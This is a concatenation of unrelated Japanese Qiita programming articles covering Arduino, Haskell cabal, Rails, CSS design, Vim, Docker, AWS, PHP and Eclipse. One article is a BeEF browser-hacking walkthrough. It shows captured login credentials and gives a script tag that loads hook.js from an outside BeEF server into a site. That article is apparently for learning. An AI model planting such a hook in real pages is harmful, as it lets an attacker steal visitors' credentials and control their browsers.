OmniAICreator/Qiita-1.07M huggingface dataset:
Arduino > sprintf() > %fを使えない? > dtostrf()が用意されている

http://garretlab.web.fc2.com/arduino/reverse_lookup/index.html

> avr-libcのマニュアルを読むと使えるような記述がありますが、残念ながら、Arduino Unoのsprintf()では、%fを使うことができないようです。

```
  char szbuf[200];
  sprintf(szbuf,"Pressure(kPa)=%.2f, Altitude(m)=%.2f\r\n", prs, alt);
```

を実行するとszbufには`Pressure(kPa)=%.2f, Altitude(m)=%.2f\r\n`がセットされ、それがudpLoggerに送信され、microSDに保存された。

整数で処理するしかないのだろうか。

<hr>
http://playground.arduino.cc/Main/Printf
には%fを使っているようだ。

未消化。

<hr>
以下のようにした (間違っているかもしれない)。

```
void UdpTxAltitude(float prs)
{
  float alt;
  alt = calcAltitude(prs, kAltitudeCorrection);

  char szbuf[200];
  int pos = 0;
  int whl, frac; // whole and fractional parts

  // 1. pressure
  whl = (int)prs;
  frac = (int)(prs*100) % 100;
  pos = sprintf(&szbuf[pos],"Pressure(kPa)=%d.%02d", whl, frac);

  // 2. altitude
  whl = (int)alt;
  frac = (int)(alt*100) % 100;
  pos = sprintf(&szbuf[pos],",Altitude(m)=%d.%02d\r\n", whl, frac);

  WiFi_txMessage(szbuf);  
}
```

<hr>
(追記 2016/06/03)
@mt08 さんに dtostrf() という関数の情報とリンクを教えていただきました。
cabalでドキュメントをhackageにアップロードする

Haskellのパッケージをhackageにアップロードすると基本的にhackage側でドキュメント(haddock)を生成してくれますが、なんらかの理由で失敗することもあります。そういう時のために、hackageでは開発者が手元でドキュメントを生成してアップロードできるようになっています。

で、cabal-install-1.24.0.0では`cabal`コマンドでこういったドキュメントのアップロードができるようになっています。

hackage向けドキュメントの生成:

```
$ cabal haddock --for-hackage
```

hackageへドキュメントをアップロード:

```
$ cabal upload --doc
```

便利ですね。

## 参考

- [HackageでHaddockが生成されない時は - maoeのブログ](http://maoe.hatenadiary.jp/entry/2014/09/29/214420)


## 余談: パッケージ / ドキュメントのアップロード先とプロトコル

`cabal`コマンドが自動生成する設定ファイル(`~/.cabal/config`)を見ると、以下のような記述があります。

```
repository hackage.haskell.org
  url: http://hackage.haskell.org/
  -- secure: False
  -- root-keys:
  -- key-threshold:
```

これを見て僕は、「こいつまさか俺のユーザ名とパスワードをHTTPで送るつもりか？」と勘ぐったのですが、ちゃんとHTTPSで送ってくれているようです。

どうやら、"hackage.haskell.org"という名前のレポジトリに関しては、`RemoteRepo`型の`remoteRepoShouldTryHttps`フィールドを`True`に上書きする処理が走っていて、実際に通信を行う直前に`remoteRepoTryUpgradeToHttps`関数によって接続先URLがHTTPSに書き換わるようです。ややこしいですね。
ActiveModelでform_forを利用時に発生するエラーを解決する

# はじめに
ActiveRecordを使ってフォーム画面を実装する際は、モデルに対応するDBテーブルが必要になりますが、データの永続化が不必要で対応するDBテーブルがない場合でもフォーム実装を行いたい時には、ActiveRecordではなく、ActiveModelを用います。ただ、ActiveModelでform_forを使おうとした場合にエラーでハマったので、そこの対処法をまとめます。

# 環境
- Rails: 4.2.6
- ruby: 2.3.0


# エラーメッセージ

```rb
ActionView::Template::Error (undefined method `to_key' for #<Simulator:0x007fc4d96bfd00>
Did you mean?  to_query):
```
- `to_key`メソッドがないと言われ、エラーになります。

# 対処法

## 対応前
```rb
class Hoge
  include ActiveModel::Model

  # フォームで利用する値の定義
  attr_accessor :hoge, :fuga, :foo, :bar

  # バリデーションの定義
  validates :hoge, presence: true, length: { maximum: 50 }
  validates :fuga, presence: true
  validates :foo, presence: true
  validates :bar, presence: true
```
- モデルで`ActiveModel::Model`をインクルードし、ActiveModelを利用できるようにしています。

## 対応後

```rb
class Hoge
  include ActiveModel::Model
  include ActiveModel::Conversion

  # フォームで利用する値の定義
  attr_accessor :hoge, :fuga, :foo, :bar

  # バリデーションの定義
  validates :hoge, presence: true, length: { maximum: 50 }
  validates :fuga, presence: true
  validates :foo, presence: true
  validates :bar, presence: true

  def persisted? ; false ; end
``` 

 - `ActiveModel::Conversion`をインクルードし、`persisted?`メソッドを定義します。
 - 上記をクラス内に記述することで、Railsの変換メソッド(さっきエラーになった`to_key`メソッド)をそのクラスのオブジェクトに対して呼び出すことができるようになるそうです。

# 参考
- [ActiveModel::Conversion](http://api.rubyonrails.org/classes/ActiveModel/Conversion.html)
- [Active Model の基礎](http://railsguides.jp/active_model_basics.html)
FLOCSSメモ


## レイヤー
下記のレイヤーから構成される。

- Foundation - reset/normalize/base...
- Layout - header/main/sideber/footer...
- Object
 - Component - grid/button/form/media...
 - Project - articles/ranking/promo...
 - Utility - clearfix/display/margin...

### 1. Foundation
reset.css、base.cssなどのブラウザのデフォルトスタイル（タグ要素への指定）を定義。
ページ全体の背景やタイポグラフィなどが該当する。

### 2. Layout
ページを構成するヘッダー、フッター、サイドバー、メインコンテンツといった広域の共通部品の定義。

ページ単位で唯一の部品となるためIDセレクタによる指定を行っても良い。

### 3. Object
プロダクト内において繰り返されるビジュアルパターンが全て該当する。
(Faundatino, Layoutを除く)

Objectレイヤーは更に下記3レイヤーに分類される。

#### 3-1. Component
再利用出来るパターンとして、小さな単位のモジュールを定義。

出来る限り最初減の機能を持ったモジュールとして定義されるべき。
（汎化）


#### 3-2. Project
プロジェクト固有のパターンであり、いくつかのコンポーネントとそれに該当しない要素によって構成される。

#### 3-3. Utility
ComponentとProjectレイヤーの組み合わせで解決する事が難しい・適切ではない場合やわずかなスタイルの調整を行うためのヘルパー。

## 命名規則
基本的にはBEMシステムのシンタックス **Block, Element, Modifier** に分類して構成される。

Modifierの派生パターンとして、JSで走査されるような **状態** を表すものについては`is-`プレフィックスを付与する事も可能。

```
<button class="c-button is-active">
```

なお、`is-active`のようなステートクラスには直接スタイルを充てず、`.c-button.is-active`のように範囲を限定する事。
（他のModifierのスタイルを汚染しない）

### オブジェクトのプレフィックス

- Component - `.c-*`
- Project - `.p-*`
- Utility - `.u-*`


## ファイル・ディレクトリ構成
    
- foundation
	- _reset.scss
	- _base.scss
- layout
	- _main.scss
	- _header.scss
	- _footer.scss
	- _sidebar.scss
- Object
	- component
		- _button.scss
		- _dialog.scss
		- _grid.scss
		- _media.scss
	- project
		- _articles.scss
		- _comments.scss
		- _gallery.scss
		- _profile.scss
	- utility
		- _align.scss
		- _clearfix.scss
		- _margin.scss
		- _position.scss
		- _size.scss
		- _text.scss

## カスケーディングと詳細度
レイヤーの順序を前後させてはならない

### レイヤー、モジュールのカスケーディング
原則として、モジュール間のカスケーディング、他のモジュールを親とするセレクタを用いたカスケーディングを禁止する。

特に同一レイヤーにおけるモジュール間のカスケーディングは好ましくない。

可能な限りモジュール間に依存性が存在しない構成にするべきである。


例外として、レイヤー間におけるカスケーディングは許容される。
（プロジェクトはいくつかのコンポーネントと固有のスタイルを持つ）

```
<div class="p-profile c-media">
	<img class="c-media__image">
	<div class="-media__body"></div>
</div>
```

ただし、このような場合においてもComponentレイヤーのModifier拡張、ProjectレイヤーのElement拡張によって、解決出来る場合がある。
(スタイルの上書きを行う場合はコメントするのが好ましい)

```
<div class="p-profile c-media">
	<img class="p-profile__avatar c-media__image">
	<div class="-media__body"></div>
</div>
```
```
<div class="p-profile c-media">
	<img class="c-media__image c-media__image-reverse">
	<div class="-media__body"></div>
</div>
```

なお、出来る限り前者（Componentレイヤーを太らせる方向）を採用して、後者（Projectレイヤーを太らせる方向）を採用する場合は下記のようなルールを設ける。
- 子供セレクタなどによって出来るだけ適用範囲を限定する
- 他レイヤーのモジュールを親セレクタに持つのは一つだけとする
`.p-profile > .c-media__image`

### モジュール内のカスケーディング
モジュール内で完結するカスケーディング、複数のセレクタを用いる事は許容される。

```
<ul class="c-tabs">
	<li class="c-tab">
		<a class="c-tab__target"></a>
```

## 備考
- イベントなどでサイト全体のデザインが大きく変更される場合は、 **Theme/Composition**などのレイヤーを設けても良いかも
- あまりにも各レイヤーのパターンが多い場合やカンプが不揃いな場合はヘルパークラスを多用してプロトタイプ的なものを作り、後からパターンを見つけてモジュール化していく方が良さそう。（考える > 作業になりそう）
- 他のCSS設計にも通じると思うが、レイヤー/モジュールの切り分け以上に大変で重要な作業はカンプ時点でのデザインのパターン化を協働する作業だと思った。　　
(コーダーとデザイナーが分業の場合)
packaddを使うとruntimepathにどのようにパスが登録されるのか

packaddでプラグインを読み込んだ時に、プラグインに含まれるftplugin/以下のスクリプトが最後まで実行されなかったので試行錯誤して調べてみました。

## 環境

Vim 7.4.1868
Linux
~/dotfiles/.vimを~/.vimにシンボリックリンクを貼っています。

サンプルで利用するプラグイン
[https://github.com/davidhalter/jedi-vim](https://github.com/davidhalter/jedi-vim)
[https://github.com/fatih/vim-go](https://github.com/fatih/vim-go)


## プラグインのパスをruntimepathの後方に追加していくパターン

```vim:~/.vim/vimrc
packadd! vim-go
packadd! jedi-vim
```

```text:runtimepathの内容
~/.vim
/usr/local/share/vim/vimfiles
/usr/local/share/vim/vim74
/usr/local/share/vim/vimfiles/after
~/.vim/after
~/dotfiles/.vim/pack/dist/opt/vim-go
~/dotfiles/.vim/pack/dist/opt/jedi-vim
~/dotfiles/.vim/pack/dist/opt/jedi-vim/after
```

packaddを書いた順番通りにvim-goとjedi-vimのパスがruntimepathの後方に追加されました。
このパターンだと/usr/local/share/vim/vim74/ftplugin/以下のスクリプトがプラグインに含まれるftplugin/よりも先に検索されてしまうので、プラグイン側のftplugin/以下のスクリプトを実行する前に変数**b:did_ftplugin**が定義済みになり、プラグイン側のftplugin/以下のスクリプトが最後まで実行されませんでした。


## プラグインのパスをruntimepathの前方に追加するパターン

~/.vimがシンボリックリンクなので、runtimepathから~/.vimを削除し、シンボリックリンクの参照先である~/dotfiles/.vimをruntimepathの先頭に追加します。

```vim:~/.vim/vimrc
set rtp-=~/.vim
set rtp^=~/dotfiles/.vim
packadd! vim-go
packadd! jedi-vim
```

または

```vim:~/.vim/vimrc
let s:vimhome = split(&rtp, ',')[0]
execute 'set rtp-=' . s:vimhome
execute 'set rtp^=' . resolve(expand(s:vimhome))
packadd! vim-go
packadd! jedi-vim
unlet s:vimhome
```

```text:runtimepathの内容
~/dotfiles/.vim
~/dotfiles/.vim/pack/dist/opt/jedi-vim
~/dotfiles/.vim/pack/dist/opt/vim-go
/opt/vim74/share/vim/vimfiles
/opt/vim74/share/vim/vim74
/opt/vim74/share/vim/vimfiles/after
~ /.vim/after
~/dotfiles/.vim/pack/dist/opt/jedi-vim/after
```

jedi-vimとvim-goのパスが~/dotfiles/.vimの直後に追加されています。
jedi-vimがvim-goよりも前方に追加されています。
jedi-vimのafterディレクトリのパスが後ろに追加されています。


最初に挙げたパターンと違ってプラグイン側のftplugin/を先に検索できるようになったのでプラグイン側のftplugin/以下のスクリプトが最後まで実行できるようになりました。

**2017/02/06 追記**

~/.vimがシンボリックリンクではない場合は今回の問題は発生しません。
Vim 8.0.308でこの不具合が修正されました。
[vim-jp](https://github.com/vim-jp/issues/issues/1022)で報告したらh-eastさんが直してくださいました。
ありがとうございます。
クライアントサイドMVCの設計メモ


# はじめに
クライアントサイドのMVCアーキテクチャを設計する場合に、考慮すべきルールと実装例を設計メモとして記載します。

# ルール
## モデル
- DOMは触らないこと。
- クラスと値(プロパティ)を定義する。
- プロパティ更新メソッドを定義する。
    - プロパティ更新をモデル間で伝搬させたい場合は購読者モデルを利用する。
    - プロパティ更新後にビュー更新メソッドをコールする。

## ビュー
- DOMの操作を行う。
- イベントハンドラを登録する。
    - ビューしか更新しない場合は、イベントハンドラに登録するメソッドもビューに定義する。
- モデルからコールされるビュー更新メソッドを定義する。

## コントローラ
- ビューのイベントハンドラに登録したメソッドを定義する。
- そのメソッドからモデルのプロパティ更新メソッドをコールする。

# 実装例
言葉だと分かりづらいので、上記ルールに従ってモデル・ビュー・コントローラを実装した場合の例は以下。

![ClientSideMVCSample.png](https://qiita-image-store.s3.amazonaws.com/0/108822/57df71a5-0f1d-a2ed-a779-759d9c2aa6dd.png)

# さいごに
すごく簡単なメモですが、上記のルールと実装例の図を念頭に置いておけば、迷わず設計できると思います。AngularJSなどの便利なフレームワークを使えば、簡単にMVCで実装することもできますが、基本を押さえておくためにまずは自前で設計してみることも必要かと思います。
Docker Composeを使ってIBM Containerをスケールアウトさせる

#はじめに
前回、[「Docker Composeを使ってIBM Containerを管理する」](http://qiita.com/smatsui@github/items/550fd4fbeea9bb663c1a)という記事を書きましたが、`docker-compose`コマンドの`scale`オプションを使って、コンテナの数を動的に変える、というところまでは試すことができませんでした。この記事では、`docker-compose`を使って、Bluemix上のIBM Containerの数を動的に変えることができるか、検証してみます。

#前回のおさらい
前回は、以下のような二つのコンテナを`docker-compose`を使ってIBM Containerに展開できることを確認しました。

```shell-session
$ docker-compose ps
        Name           Command   State               Ports
----------------------------------------------------------------------
dockercompose_redis_1             Up
dockercompose_web_1               Up      169.44.119.192:5000->5000/tcp
````

#docker-composeを使ってIBM Containerをスケールアウトさせる
では、早速本題に入りましょう。`docker-compose scale`コマンドを使い、webコンテナの数を増やしてみました。

```shell-session
$ docker-compose -f docker-compose-bluemix.yml scale web=3
WARNING: The "web" service specifies a port on the host. If multiple containers for this service are created on a single host, the port will clash.
Creating and starting 2 ...
Creating and starting 3 ...
Creating and starting 3 ... done
$ docker-compose ps
        Name           Command   State               Ports
----------------------------------------------------------------------
dockercompose_redis_1             Up
dockercompose_web_1               Up      169.44.119.192:5000->5000/tcp
dockercompose_web_2               Up      172.31.0.162:5000->5000/tcp
dockercompose_web_3               Up      172.31.0.163:5000->5000/tcp
```

なにやらWARNINGが出ましたが、webコンテナの数が3つに増えたようです！それぞれのコンテナのIPアドレスを、同じホストのポート番号5000番を割り当てたのがまずかったようですね。ですが、`docker-compose ps`コマンドの出力を見てみると、ホストマシンに勝手新しいIPアドレス(172.31.0.162と172.31.0.163)が割り当てられ、それぞれを新しいコンテナに割り当て、事なきを得ているようです。Bluemixのダッシュボードのほうも確認してみると。。。

![bluemix_dashboard_scale.png](https://qiita-image-store.s3.amazonaws.com/0/16430/897407f3-a8ba-e50e-54a2-5064b2a7d2a7.png)

3つのコンテナが稼動していることが確認できました！さて、せっかくなので新しくできたコンテナのほうにも外部IPアドレスを割り当ててアクセスしてみましょう。なお、私のBluemixの無料アカウントでは外部IPは2つまでしか取得できないので、2つのコンテナに外部IPアドレスを割り当てます。`cf ic ip request`で新しいIPアドレスを取得し、そのアドレスを増えたコンテナに割り当てます。

```shell-session
$ cf ic ip bind 169.44.113.228 dockercompose_web_2
OK
The IP address was bound successfully.
$ docker-compose ps
        Name           Command   State               Ports
----------------------------------------------------------------------
dockercompose_redis_1             Up
dockercompose_web_1               Up      169.44.119.192:5000->5000/tcp
dockercompose_web_2               Up      169.44.113.228:5000->5000/tcp
dockercompose_web_3               Up      172.31.0.171:5000->5000/tcp
```

それぞれのIPアドレスに対して、ブラウザでアクセスしてみると。。。
![browser_2.png](https://qiita-image-store.s3.amazonaws.com/0/16430/bf0867e0-e2a8-6676-ab91-50ceca5d379c.png)
![browser_3.png](https://qiita-image-store.s3.amazonaws.com/0/16430/b826dee9-e3fb-5501-7994-aecccd4cccb7.png)
それぞれのwebアプリケーションが同じredisデータベースコンテナから同じエントリを取得して、それぞれのwebアプリケーションが値をインクリメントしているように見えますね！

#まとめ
Docker Composeを使って、IBM Containerをスケールアウトできることがわかりました。しかし、このままでは、手動で外部IPアドレスを取得し、そのIPを新しく起動したコンテナに割り振る必要があり、いまいちな感じですね。次回はこの辺の手順を自動化する方法について検証したいと思います。
Elastic Beanstalkでnpm installする（rails + browserify-rails）


## 概要
今携わっている案件では、rails + react-rails + browserify-railsを用いて開発しています。browserify-railsはSporoketsでもCommonJSなモジュールを動かせるようになる便利なgemですが、Elastic Beanstalkのdeployで少しハマったのでやったことを記します。

## 前提
Sporoketsを使うということは、`assets:precompile`をする必要がありますが、そのタイミングより前に`npm install`をして、`node_modules/`にモジュール群が入っている必要があります。

## 対応方法
結論としては、`.ebextensions`に下記のようなconfigを追加してdeployして解決しました。

```.ebextensions/install_node_modules.config
files:
  "/opt/elasticbeanstalk/hooks/appdeploy/pre/07_install_node_modules.sh" :
    mode: "000744"
    owner: root
    group: root
    content: |
      #!/usr/bin/env bash
      set -xe
      EB_APP_STAGING_DIR=$(/opt/elasticbeanstalk/bin/get-config container -k app_staging_dir)
      cd $EB_APP_STAGING_DIR
      npm install
```


## 詳細
### ebextensionsのconfig
Elastic Beanstalkではデプロイのためのコマンドは`.ebextensions`配下か、あるいはデプロイ先の環境にconfigを設置しておくと実行されます。
今回は、`.ebextensions`配下に設定を記述しており、`files:`で指定しているファイル名`/opt/elasticbeanstalk/hooks/appdeploy/pre/07_install_node_modules.sh`で実行順序を指定しています。
まず、`pre`と書くとタイミング的にはデプロイの前処理段階になります。pre(前処理) -> enact(バージョン切替時) -> post(後処理)という順序で実行されるようです。([詳細](http://www.slideshare.net/AmazonWebServicesJapan/aws-aws-elastic-beanstalk))
また、`07_install_node_modules.sh`の先頭の`07`で実行順を指定しています。数値が小さいほど実行順序が優先されます。（私の環境ではassetのプリコンパイルより早く実行される`07`としていますが、順番は環境に合わせてください）

### 落とし穴
Elastic Beanstalkデプロイ先は`/var/app/current`ですが、デプロイ中のワーキングディレクトリは別なようです。ワーキングディレクトリ自体は記述にあるように、`EB_APP_STAGING_DIR=$(/opt/elasticbeanstalk/bin/get-config container -k app_staging_dir)`という風にやれば取得できます。最初はこれに気づかず、`npm install`しようとしても`package.json`がない、というエラーが発生してデプロイに失敗していました。

### エラーが出た時は
`eb logs <環境名>`でログを参照できます。


## 参照
[AWS Elastic Beanstalk 環境設定](http://docs.aws.amazon.com/ja_jp/elasticbeanstalk/latest/dg/customize-containers.html)
UiKitのmodalでhidden showのイベントをAngularJSのDirectiveから追加する

# UIKitのモーダルの閉じるときにイベントを差し込みたい。
UIKit:http://getuikit.com/docs/modal.html

``` jquery
$('.modalSelector').on({

    'show.uk.modal': function(){
        console.log("Modal is visible.");
    },

    'hide.uk.modal': function(){
        console.log("Element is not visible.");
    }
});
```

こうじゃなくてJqueryを使わないでやりたい

AngularJSのDirective

```
angular.module('docsSimpleDirective', [])
.controller('Controller', ['$scope', function($scope) {
  $scope.test = function(){
    console.log("test");
  }
}])
.directive('myDomDirective', function () {
    return {
        scope: {
            test: "&"
        },
        link: function ($scope, element, attrs) {
            element.bind('hide.uk.modal', function () {
                $scope.test();
            });
        }
    };
});
```
Plunker
https://plnkr.co/edit/gipUQxDCxMaE2OO0ofRd?p=info
Docker Toolbox をバージョンアップしたら Cannot connect to the Docker daemon. Is the docker daemon running on this host? と出るようになった

ずいぶんバージョンアップしてなくて、今更ながら Mac の Docker Toolbox をバージョンアップしたら、唐突に下記のエラーが出るようになった。
バージョンアップ後もしばらく使えてたのでビックリした。

```
Cannot connect to the Docker daemon. Is the docker daemon running on this host?
```

## 対応

`.bash_profile` に下記のものを追加

```
eval $(docker-machine env default)
```

## 参考

* https://github.com/docker/kitematic/issues/1010
JavaScript

# OOP
## tutorial
http://javascriptissexy.com/oop-in-javascript-what-you-need-to-know/

# Element
## HTMLAudioElement
### properties
**HTMLMediaElement.currentTime**
A double indicating the current playback time in seconds. Setting this value seeks the media to the new time.

### references
https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement
[UWP]RichEditBoxを MVVM Patternで使う

# 問題

UWPのTextBoxは、一行のものしか扱えず、複数行のものはRichEditBoxをつかうみたいのだけど、とてもMVVM的に使いずらいものになっている。RichEditBox自体が機能的に高度なので、仕方いない面もある。RichEditBoxは、文字に色を付けたりフォントを変えたり画像を挿入できたりいろいろできる。
しかし、やりたいことは、ただ複数行の入力をしてそれを受け取りたいだけで、WPFのTextBoxでできたことをただやりたいだけである。

そのために、RichEditBoxを継承で対応する。MVVM的に使いやすくするには、継承が一番いいと思う。

#コード

```csharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Windows.UI.Text;
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
namespace MyUwpLib.Controls
{
    public class RichEditEx:RichEditBox
    {
        public RichEditEx()
           : base()
        {
            this.TextChanged += RichEditEx_TextChanged;
            
        }

        private void RichEditEx_TextChanged(object sender, RoutedEventArgs e)
        {
            var t =GetText();
            if (t != Text)
            {
                Text = t;
            }
        }
        public TextGetOptions TextGetOption { get; set; } = TextGetOptions.None;
        public TextSetOptions TextSetOption { get; set; } = TextSetOptions.None;

        string GetText()
        {
            string t;
            this.Document.GetText(TextGetOption, out t);
            return t;
        }


        void SetText(string text)
        {
            if(GetText()!= text)
            {
                this.Document.SetText(TextSetOption, text);
            }
        }

        public string Text
        {
            get { return (string)GetValue(TextProperty); }
            set { SetValue(TextProperty, value); }
        }
        // Using a DependencyProperty as the backing store for TextProperty.  This enables animation, styling, binding, etc...
        public static readonly DependencyProperty TextProperty =
            DependencyProperty.Register("Text", typeof(string), typeof(RichEditEx), new PropertyMetadata(string.Empty, callback));

        private static void callback(DependencyObject d, DependencyPropertyChangedEventArgs e)
        {
            var reb = (RichEditEx)d;
            reb.SetText((string)e.NewValue);
        }
    }
}

```

# 使い方

XAMLでのかきかた。

```xml

<myContorl:RichEditEx Text="{Binding TextData,Mode=TwoWay}"></myContorl:RichEditEx>
```

#おわりに
これは、テキストを表示し、その入力を得るということのみをしている。RichEditBox本来の高機能を使い切っているとは言えない。文字の色を適切に変えてごにょごにょということはできない。
テキストの更新のたびにチェックしている挙動がなんか気持ち悪い。テキストが巨大になると重そう。いい書き方がわかりませぬ。
【超小ネタ】IISを考慮した $_SERVER['HTTPS'] のチェック

`$_SERVER['HTTPS']` に関して．

![スクリーンショット 2016-06-02 19.27.18.png](https://qiita-image-store.s3.amazonaws.com/0/25060/0db81027-a4c5-2c59-0a0b-22d2e037669a.png)

ということなので…

```php
if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') {
    /* HTTPS */   
} else {
    /* HTTP */   
}
```

普通はこう書きますが

![スクリーンショット 2016-06-02 19.31.21.png](https://qiita-image-store.s3.amazonaws.com/0/25060/1891dc9f-d8fb-4d78-d976-d8401b12abe9.png)

こんなフィルタがあるので以下のようにも書けます

```php
if (filter_input(INPUT_SERVER, 'HTTPS', FILTER_VALIDATE_BOOLEAN)) {
    /* HTTPS */   
} else {
    /* HTTP */   
}
```

微妙に長くなった気がするけどこっちのほうが分かりやすい（気がしなくもない）
APIクライアントからチェックボックスの様に複数の値を持つフィールドをPOSTする方法


POSTMANで配列のような値をJSONではなく普通に受け取りたい時どうすればよいのか少し迷ったのでメモとして残しておきます。


##解決方法

フィールドの値を

`users`
ではなく

`users[]`
のように[]を付ければOK

PHPで受け取ると

```php
array
  'users' =>
      array
        0 => string 'user1'
        1 => string 'user2'
        2 => string 'user3'
```

のように取れる

HTMLのformもそうだなと思えばそうだった…


##所感

やらかし
[実践編] 奴はとんでもないものを盗んでいきました・・・　あなたの情報です。 with BeEF

[前回](http://qiita.com/Algebra_nobu/items/7223ad64c028ef1dfa85)の続きです。
今回はBeEFの機能を少しだけ簡潔に紹介します。

#【ID,Passwordの抜き取り】
　「here」リンクをクリックします。
　<img width="381" alt="here.png" src="https://qiita-image-store.s3.amazonaws.com/0/121997/c83a0ed0-2cd1-02f4-2aad-58894e675b4f.png">


　リンク先のサイトの「Order Your BeEF-Hamper」をクリックします。
　<img width="323" alt="new_tab.png" src="https://qiita-image-store.s3.amazonaws.com/0/121997/3af6b47f-21bf-86fa-7c6d-1c87f134489f.png">

　適当な文字を入力し、「Buy buy!」ボタンをクリックします。
　<img width="275" alt="buy.png" src="https://qiita-image-store.s3.amazonaws.com/0/121997/bb952408-b0b2-00b3-ab4c-99e4f06898e2.png">

　BeEF管理サイトのタブへ移動して、Logsタブを開くと
　先ほど入力した情報が詳細に載っているのがわかります。
　<img width="721" alt="log.png" src="https://qiita-image-store.s3.amazonaws.com/0/121997/3c2da7f0-438e-3e23-a952-dea48a3f6b12.png">

#【ブラウザへのコマンド実行】
　「Current Browser」→「Commands」→「Fake Notification Bar」
　　とクリックし、最後に「Execute」ボタンをクリックします。
　<img width="586" alt="commadn.png" src="https://qiita-image-store.s3.amazonaws.com/0/121997/8348403e-0f3d-b304-91fe-b4ff6569ab9f.png">

　そして「The Butcher」タブへ移動するとポップアップが現れます。
　![popup.png](https://qiita-image-store.s3.amazonaws.com/0/121997/7996050d-79d7-4037-7027-a9992537329a.png)


#【自作のサイトにBeEF適用】
　`<script src="http://192.168.33.10:3000/hook.js"></script>`
　を自作サイトに追加するとBeEFが適用されます。
　　[HOW TO USE BEEF – QUICK TUTORIAL](http://securityblog.gr/2200/how-to-use-beef-quick-tutorial/)

#【参考サイト・書籍】
　[BeEFホームページ](http://beefproject.com/)
　[BeEFインストール](https://github.com/beefproject/beef/wiki/Installation)
　[ブラウザハック](http://www.amazon.co.jp/%E3%83%96%E3%83%A9%E3%82%A6%E3%82%B6%E3%83%8F%E3%83%83%E3%82%AF-Wade-Alcorn/dp/479814343X/ref=sr_1_1?ie=UTF8&qid=1464834125&sr=8-1&keywords=%E3%83%96%E3%83%A9%E3%82%A6%E3%82%B6%E3%83%8F%E3%83%83%E3%82%AF)
Eclipse（主にJava）ショートカット（と自動補完）

僕が使っているEclipseコマンドを
自分で設定したものも含めて紹介します。
ぜひコーディング速度向上にお役立てください。
（あまり上手く分類できませんでした）
**キー配列はMacのUSです。**

###読み方
ctrl = control
opt = option (alt)
cmd = command (変な形の記号）
right/left/up/down = 矢印キー
""で囲んである文字列 = 自分で設定する際のコマンド名

##入力系
###いつでも使えるやつ
**/\*\* -> Enter** : Javadoc & authorの追加 

**cmd + 1** : クイックフィックス（自動修正補助）

**opt + cmd + up** : 今の行/選択行を上にコピー
**opt + cmd + down** : 今の行/選択行を下にコピー

###自動補完
**_ll -> Enter** : ラムダ式（{ }付き）
**_li -> Enter** : ラムダ式（１行）

戻り値のあるmethodを記述 -> **cmd+2 -> l** : 変数宣言

##削除系
**cmd + d** : 行削除

##動作系
**fn + cmd + F11** : debug
**cmd + 8** : RunAs（自分で設定 "Run Java Application"）

##移動系
**opt + up** : 選択行を上にずらす
**opt + down** : 選択行を下にずらす

**fn + ctrl + up** : 左のタブへ移動
**fn + ctrl + down** : 右のタブへ移動

**shift + Enter** : 現在の行の直下に空行を追加
**shift + fn + ctrl + up** : 選択範囲を広げる
**shift + fn + ctrl + down** : 選択範囲を狭める

##修正系
**cmd + shift + f** : フォーマッター
**cmd + shift + o** : import文の追加・削除

**opt + cmd + m** : 選択した部分をメソッドに抽出
**opt + cmd + l** : 選択した部分を変数に抽出
**opt + cmd + k** : 選択した部分を定数に抽出（自分で設定 "Extract Constant"）

**cmd + opt + r** : リネーム（変数名もファイル名も）

##検索系
**ctrl + h** : メソッドが使われているかなど
**cmd + t** : クラスツリー
**cmd + o** : アウトライン（クラス, メソッド一覧）

**cmd + shift + t** : java全体のclass、interfaceなどを検索
**cmd + shift + r** : workspace内の"ファイル"を検索
**cmd + shift + g** : メソッドが参照されている部分を検索

**cmd + click** : 選択した変数やメソッドが定義されている部分を表示

##表示系（全て自分で設定）
**cmd + shift + [** : Problems を表示（"Show In (Problems)"）
**cmd + shift + ]** : Console を表示（"Show In (Console)"）
**cmd + shift + |** : TODO一覧を表示（"Show In (Tasks)"）
**cmd + shift + =** : 検索結果を表示（"Show In (Search)"）
**cmd + shift + ;** : パッケージツリーで開いているファイルの場所を選択
　　　　　　　（"Show In (Package Explorer)"）
**cmd + shift + '** : エディターに戻る（"Activate Editor"）

##他に比べると基本的なので分類しなかったもの
**cmd + n** : 新規ファイル
**cmd + /** : 今の行/選択行のコメントアウト
**cmd + ,** : Preferences
**cmd + s** : 上書き保存（新規ファイルの場合は名前をつけて保存）
**cmd + w** : 現在のタブを閉じる
**cmd + a** : 全選択
**cmd + right/left/up/down** : いけるところまで移動
**opt + right/left** : 単語単位で移動
（上の２つに **+ shift** で移動ながら選択）

##最後に
文字が増えたりするものは cmd + opt + ? が基本、
表示の切り替えなどは cmd + shift + ? が基本
と思っておくと、覚えやすいかと思います。

自分で設定するものについては
Preference -> General -> Keys
でできます。

自動補完については
http://ser1zw.hatenablog.com/entry/20110130/1296393620
ここを参考に設定しています。

あとEclipseから逸れますが、
Karabinerで、左cmdを「英字入力」、右cmdを「日本語入力」に。
Seilを使って、caps lockを「(Windowsにおける)delete」に設定すると、
人によっては幸せになれるかもしれませんね。
（好みがパッカーンと分かれそう）

こんなん便利だよーとかあったら是非教えてくださーい
（自分メモ）CentOSバージョン7ってなんやねん

#Linux勉強したい。バージョン6を出題してねLPICさま。
バージョン6もまともに理解してないのに7を理解してみようという企画。

リヌクスの起動プロセスを知って君も一人前！なんてフレーズはきくけど、カーネルを作るとかは無理だとして構成するもの必要なもの各所の役割なんかしっていたら、いっぱしのエンジニアなんではないか。「amachan、Linuxを語る」って講演会とかしたいわ。

「あ、なんちゃって先輩！えっとー、俺のLinuxつくるんでー、コンパイルってアセンプリってgccキックで、ZEBRAがゼブラのゼブラカラーをゼブラペンで書いたんで、アドバイスとかできる？」
「もう一回言って、、も、もしくはメールで5W1Hで書くって教わらなかった・・」
「ちーす！シェル芸はオタ芸じゃないってこと知ってますか？先輩パン買ってこいよ」
「ひぃぃいい、お前を蝋人形にしてやろおかあ。。」

#事前に6と7の違いをメモ
・ext4からxfsというファイルシステムになった。過去のFSはサポートするのだろうか。
・ブートローダはGRUB2というらしい。まあバージョンアップしたんだね。
・インストール時にbond設定できるようになったみたいだが、ここは必ずやるところではありますね。
・プロセスをグループ単位で階層管理するとのこと。グループ単位で管理することが素敵なことかは不明。
・システムサービス管理はsystemdでやるとのこと。
・サービス管理はコマンドとかユニット単位で管理するらしいんです。ユニット単位で管理することが素敵なことなのかわからない。
